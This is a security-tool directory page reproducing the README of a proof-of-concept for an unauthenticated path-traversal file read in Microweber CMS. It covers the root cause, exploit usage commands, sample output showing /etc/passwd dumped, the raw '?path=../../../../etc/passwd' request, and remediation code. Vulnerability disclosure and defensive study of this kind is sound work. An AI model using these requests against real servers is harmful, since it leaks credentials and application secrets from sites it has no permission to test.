Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-65694-PoC — PoC for CVE-2026-65694 — Microweber CMS (<=2.0.20) unauthenticated path traversal → arbitrary file read (.env / secrets) | Kitploit
Tools/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringLearning & Education
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

Share

PoC for CVE-2026-65694 — Microweber CMS (<=2.0.20) unauthenticated path traversal → arbitrary file read (.env / secrets)

View Repository
1303 months agoNot yet reviewed

CVE-2026-65694 — Microweber CMS Unauthenticated Arbitrary File Read

Proof-of-concept for CVE-2026-65694, an unauthenticated path-traversal → arbitrary file read in Microweber CMS.

An unauthenticated attacker can read any file the web-server user can access — the Laravel .env (APP_KEY, DB credentials, mail/cloud secrets), /etc/passwd, logs, keys, non-.php configuration, etc. — via the public GET /userfiles/{path} route.

  • CVE: CVE-2026-65694
  • Type: Path Traversal → Unauthenticated Arbitrary File Read (CWE-22 / CWE-23)
  • Severity: High — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • Affected: Microweber ≤ 2.0.20 and current master (vulnerable line still present)
  • Authentication: None

Root cause

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

The route is registered unauthenticated:

Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Two problems combine:

  1. Input override. $request->path (property access, not the $request->path() method) resolves through Laravel's Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')). So a ?path= query parameter overrides the {path} route segment — and query values are not subject to the URL-path .. normalization a browser/server applies.
  2. No canonicalization. normalize_path() only collapses slashes; it never strips or resolves .., and there is no check that the resolved path stays inside userfiles_path(). PHP's file layer then resolves the .. sequences on the filesystem.

The controller blocks only the .php, .phtml, and .php7 extensions (skip_ext), so PHP source is not directly readable — but everything else is (.env, /etc/passwd, logs, keys, SQLite DBs, JSON/YAML config, …).

Requirements

pip install -r requirements.txt

Reachable on any deployment that uses the recommended public/ document root (Microweber's shipped public/.htaccess, or an nginx try_files $uri /index.php front controller), where userfiles/ lives outside the web root and /userfiles/* is dispatched to the Laravel router.

Usage

Three actions:

python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk
FlagAction
--checkReport whether the target is vulnerable (yes/no), without dumping data
-r, --read FILERead a file and print it to stdout
-d, --download FILERead a file and save it locally (-o/--output sets the name)

Traversal depth is auto-detected (increasing ../ until the file is served); override with --depth N. Route through Burp with --proxy http://127.0.0.1:8080. Add -v for the raw request.

Example

$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

The underlying request is simply:

GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Impact

Unauthenticated arbitrary file read. Leaking the Laravel .env yields the APP_KEY (session/cookie forgery), database credentials, mail password, and cloud keys — effectively full compromise of the instance's secrets.

Remediation

Read the bound route parameter instead of the input property, canonicalize with realpath(), and verify the resolved path stays inside userfiles_path():

public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

Credit

Discovered and reported by Bobur Abdugafforov. CVE-2026-65694 assigned via VulnCheck.

Disclaimer

For authorized security testing and educational use only. Do not use against systems you do not own or have explicit permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    962
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    348
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    344
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    297

Explore all tools

Browse our collection of tools

View all tools →